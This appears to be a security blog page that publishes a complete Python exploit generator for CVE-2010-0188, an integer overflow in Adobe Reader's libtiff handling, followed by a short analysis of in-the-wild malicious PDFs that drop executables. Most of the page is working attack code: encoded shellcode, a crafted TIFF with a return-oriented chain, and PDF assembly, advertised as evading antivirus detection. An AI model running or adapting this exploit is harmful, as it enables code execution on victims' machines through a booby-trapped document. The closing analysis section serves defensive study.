CVE-2010-0188 Adobe Working Exploit

Exploit works with Adobe Javascript disabled.
Tested : successfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP(SP2,SP3 any languages) also works with Adobe browser plugin.

Sample Exploit - Pdf file size ~2.3Kb.
Virustotal scan result of exploit 0/42 - virustotal.com.

Update: March 17, 2010Chris Hadnagy aka loganWHD from http://www.social-engineer.org/ created a nice video about active exploitation of this POC.
thnx to him.

Source code CVE-2010-0188.py with calc.exe exec shellcode.
------------------------------------------------------------------------------------------
__doc__='''
Title: Adobe PDF LibTiff Integer Overflow Code Execution.
Product: Adobe Acrobat Reader
Version: 8.0 - 8.2, 9.0 - 9.3
CVE: 2010-0188
Author: villy (villys777 at gmail.com)
Site: http://bugix-security.blogspot.com/
Tested : succesfully tested on Adobe Reader 9.1/9.2/9.3 OS Windows XP (SP2, SP3)

'''
import sys
import base64
import struct
import zlib
import StringIO

SHELLCODE_OFFSET=1500
TIFF_OFSET=0x2038

# windows/exec - 227 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=process, CMD=calc.exe
buf = "\x2b\xc9\xd9\xc0\xd9\x74\x24\xf4\x5e\xb1\x33\xba\xd9\xb4"
buf += "\x0a\xbe\x31\x56\x15\x03\x56\x15\x83\x1f\xb0\xe8\x4b\x63"
buf += "\x51\x65\xb3\x9b\xa2\x16\x3d\x7e\x93\x04\x59\x0b\x86\x98"
buf += "\x29\x59\x2b\x52\x7f\x49\xb8\x16\xa8\x7e\x09\x9c\x8e\xb1"
buf += "\x8a\x10\x0f\x1d\x48\x32\xf3\x5f\x9d\x94\xca\x90\xd0\xd5"
buf += "\x0b\xcc\x1b\x87\xc4\x9b\x8e\x38\x60\xd9\x12\x38\xa6\x56"
buf += "\x2a\x42\xc3\xa8\xdf\xf8\xca\xf8\x70\x76\x84\xe0\xfb\xd0"
buf += "\x35\x11\x2f\x03\x09\x58\x44\xf0\xf9\x5b\x8c\xc8\x02\x6a"
buf += "\xf0\x87\x3c\x43\xfd\xd6\x79\x63\x1e\xad\x71\x90\xa3\xb6"
buf += "\x41\xeb\x7f\x32\x54\x4b\x0b\xe4\xbc\x6a\xd8\x73\x36\x60"
buf += "\x95\xf0\x10\x64\x28\xd4\x2a\x90\xa1\xdb\xfc\x11\xf1\xff"
buf += "\xd8\x7a\xa1\x9e\x79\x26\x04\x9e\x9a\x8e\xf9\x3a\xd0\x3c"
buf += "\xed\x3d\xbb\x2a\xf0\xcc\xc1\x13\xf2\xce\xc9\x33\x9b\xff"
buf += "\x42\xdc\xdc\xff\x80\x99\x13\x4a\x88\x8b\xbb\x13\x58\x8e"
buf += "\xa1\xa3\xb6\xcc\xdf\x27\x33\xac\x1b\x37\x36\xa9\x60\xff"
buf += "\xaa\xc3\xf9\x6a\xcd\x70\xf9\xbe\xae\x17\x69\x22\x1f\xb2"
buf += "\x09\xc1\x5f\x00"

class CVE20100188Exploit:
def __init__(self,shellcode):
self.shellcode = shellcode
self.tiff64=base64.b64encode(self.gen_tiff())

def gen_tiff(self):
tiff = '\x49\x49\x2a\x00'
tiff += struct.pack("<L", TIFF_OFSET)

tiff += '\x90' * (SHELLCODE_OFFSET)
tiff += self.shellcode
tiff += '\x90' * (TIFF_OFSET - 8 - len(buf) - SHELLCODE_OFFSET)

tiff += "\x07\x00\x00\x01\x03\x00\x01\x00"
tiff += "\x00\x00\x30\x20\x00\x00\x01\x01\x03\x00\x01\x00\x00\x00\x01\x00"
tiff += "\x00\x00\x03\x01\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x06\x01"
tiff += "\x03\x00\x01\x00\x00\x00\x01\x00\x00\x00\x11\x01\x04\x00\x01\x00"
tiff += "\x00\x00\x08\x00\x00\x00\x17\x01\x04\x00\x01\x00\x00\x00\x30\x20"
tiff += "\x00\x00\x50\x01\x03\x00\xCC\x00\x00\x00\x92\x20\x00\x00\x00\x00"
tiff += "\x00\x00\x00\x0C\x0C\x08\x24\x01\x01\x00\xF7\x72\x00\x07\x04\x01"
tiff += "\x01\x00\xBB\x15\x00\x07\x00\x10\x00\x00\x4D\x15\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x03\xFE\x7F\xB2\x7F\x00\x07\xBB\x15\x00\x07\x11\x00"
tiff += "\x01\x00\xAC\xA8\x00\x07\xBB\x15\x00\x07\x00\x01\x01\x00\xAC\xA8"
tiff += "\x00\x07\xF7\x72\x00\x07\x11\x00\x01\x00\xE2\x52\x00\x07\x54\x5C"
tiff += "\x00\x07\xFF\xFF\xFF\xFF\x00\x01\x01\x00\x00\x00\x00\x00\x04\x01"
tiff += "\x01\x00\x00\x10\x00\x00\x40\x00\x00\x00\x31\xD7\x00\x07\xBB\x15"
tiff += "\x00\x07\x5A\x52\x6A\x02\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x58\xCD\x2E\x3C\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x05\x5A\x74\xF4\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xB8\x49\x49\x2A\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x00\x8B\xFA\xAF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\x75\xEA\x87\xFE\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xEB\x0A\x5F\xB9\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE0\x03\x00\x00\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xF3\xA5\xEB\x09\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xE8\xF1\xFF\xFF\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\x90\x90\x90\x4D\x15\x00\x07\x22\xA7\x00\x07\xBB\x15"
tiff += "\x00\x07\xFF\xFF\xFF\x90\x4D\x15\x00\x07\x31\xD7\x00\x07\x2F\x11"
tiff += "\x00\x07"
return tiff


def gen_xml(self):
xml= '''<?xml version="1.0" encoding="UTF-8" ?>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config xmlns="http://www.xfa.org/schema/xci/1.0/">
<present>
<pdf>
<version>1.65</version>
<interactive>1</interactive>
<linearized>1</linearized>
</pdf>
<xdp>
<packets>*</packets>
</xdp>
<destination>pdf</destination>
</present>
</config>
<template baseProfile="interactiveForms" xmlns="http://www.xfa.org/schema/xfa-template/2.4/">
<subform name="topmostSubform" layout="tb" locale="en_US">
<pageSet>
<pageArea id="PageArea1" name="PageArea1">
<contentArea name="ContentArea1" x="0pt" y="0pt" w="612pt" h="792pt" />
<medium short="612pt" long="792pt" stock="custom" />
</pageArea>
</pageSet>
<subform name="Page1" x="0pt" y="0pt" w="612pt" h="792pt">
<break before="pageArea" beforeTarget="#PageArea1" />
<bind match="none" />
<field name="ImageField1" w="28.575mm" h="1.39mm" x="37.883mm" y="29.25mm">
<ui>
<imageEdit />
</ui>
</field>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner expand 1?>
</subform>
<?templateDesigner FormTargetVersion 24?>
<?templateDesigner Rulers horizontal:1, vertical:1, guidelines:1, crosshairs:0?>
<?templateDesigner Zoom 94?>
</template>
<xfa:datasets xmlns:xfa="http://www.xfa.org/schema/xfa-data/1.0/">
<xfa:data>
<topmostSubform>
<ImageField1 xfa:contentType="image/tif" href="">'''+self.tiff64 +'''</ImageField1>
</topmostSubform>
</xfa:data>
</xfa:datasets>
<PDFSecurity xmlns="http://ns.adobe.com/xtd/" print="1" printHighQuality="1" change="1" modifyAnnots="1" formFieldFilling="1" documentAssembly="1" contentCopy="1" accessibleContent="1" metadata="1" />
<form checksum="a5Mpguasoj4WsTUtgpdudlf4qd4=" xmlns="http://www.xfa.org/schema/xfa-form/2.8/">
<subform name="topmostSubform">
<instanceManager name="_Page1" />
<subform name="Page1">
<field name="ImageField1" />
</subform>
<pageSet>
<pageArea name="PageArea1" />
</pageSet>
</subform>
</form>
</xdp:xdp>

'''
return xml

def gen_pdf(self):
xml = zlib.compress(self.gen_xml())
pdf='''%PDF-1.6
1 0 obj
<</Filter /FlateDecode/Length ''' + str(len(xml)) + '''/Type /EmbeddedFile>>
stream
''' + xml+'''
endstream
endobj
2 0 obj
<</V () /Kids [3 0 R] /T (topmostSubform[0]) >>
endobj
3 0 obj
<</Parent 2 0 R /Kids [4 0 R] /T (Page1[0])>>
endobj
4 0 obj
<</MK <</IF <</A [0.0 1.0]>>/TP 1>>/P 5 0 R/FT /Btn/TU (ImageField1)/Ff 65536/Parent 3 0 R/F 4/DA (/CourierStd 10 Tf 0 g)/Subtype /Widget/Type /Annot/T (ImageField1[0])/Rect [107.385 705.147 188.385 709.087]>>
endobj
5 0 obj
<</Rotate 0 /CropBox [0.0 0.0 612.0 792.0]/MediaBox [0.0 0.0 612.0 792.0]/Resources <</XObject >>/Parent 6 0 R/Type /Page/PieceInfo null>>
endobj
6 0 obj
<</Kids [5 0 R]/Type /Pages/Count 1>>
endobj
7 0 obj
<</PageMode /UseAttachments/Pages 6 0 R/MarkInfo <</Marked true>>/Lang (en-us)/AcroForm 8 0 R/Type /Catalog>>
endobj
8 0 obj
<</DA (/Helv 0 Tf 0 g )/XFA [(template) 1 0 R]/Fields [2 0 R]>>
endobj xref
trailer
<</Root 7 0 R/Size 9>>
startxref
14765
%%EOF'''
return pdf


if __name__=="__main__":
print __doc__
if len(sys.argv) != 2:
print "Usage: %s [output.pdf]" % sys.argv[0]

print "Creating Exploit to %s\n"% sys.argv[1]
exploit=CVE20100188Exploit(buf)
f = open(sys.argv[1],mode='wb')
f.write(exploit.gen_pdf())
f.close()
print "[+] done !"

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CVE-2010-0188 - Adobe Pdf libtiff exploits analysis

Please see some of my research on Mila's Contagio Dump blog.

Part 1. invitation.pdf
Exploit in this file successfully executed in Adobe Reader 9.2, 9.3 on Windows XP (SP2, SP3) but didn't work on Windows Vista and Windows 7.

This pdf can be easily unpacked with pdftk or pdf-parser.py. It is using CVE-2006-3459 libtiff vulnerability, let look at tiff files.



At the end of the file we see integer overflow, you can also see unnecessary data referencing to like /bin/sh /bin/id , this is linux shellcode to execute /bin/id, i think it is because they used the following exploit from Security Focus, and did not change the shellcode.

However, the main shellcode is on the top of the file:



I disassembled the shellcode and it's searching in memory for 0x4656434b04068919,
and then for second 0x4b614b6106118119



The xored file is located between these dwords. The shellcode spawns c:\adobe_update.exe (10608 bytes) , c:\data.exe (32768 bytes), c:\data.bin(91756 bytes) - this is a legitimate pdf file.

Decompiled shellcode is available here .

The dexored embeded data looks like this:
In the beginning of there file there are three dwords, in which the size of generated files is located, followed by the three files together: adobe_updater.exe - this file executess c:\data.exe (32768 bytes), c:\data.bin(91756 bytes) and self deletes after that. ( Virustotal scan result )

Part 2. Another PDF for 8.x
This exploit works on Adobe Reader 8.1.2, posibly on all 8.x.
It used ret code 0x0c0c0c0c, and heap spray technique to execute shellcode

See below deobfuscated javascript for heap spray: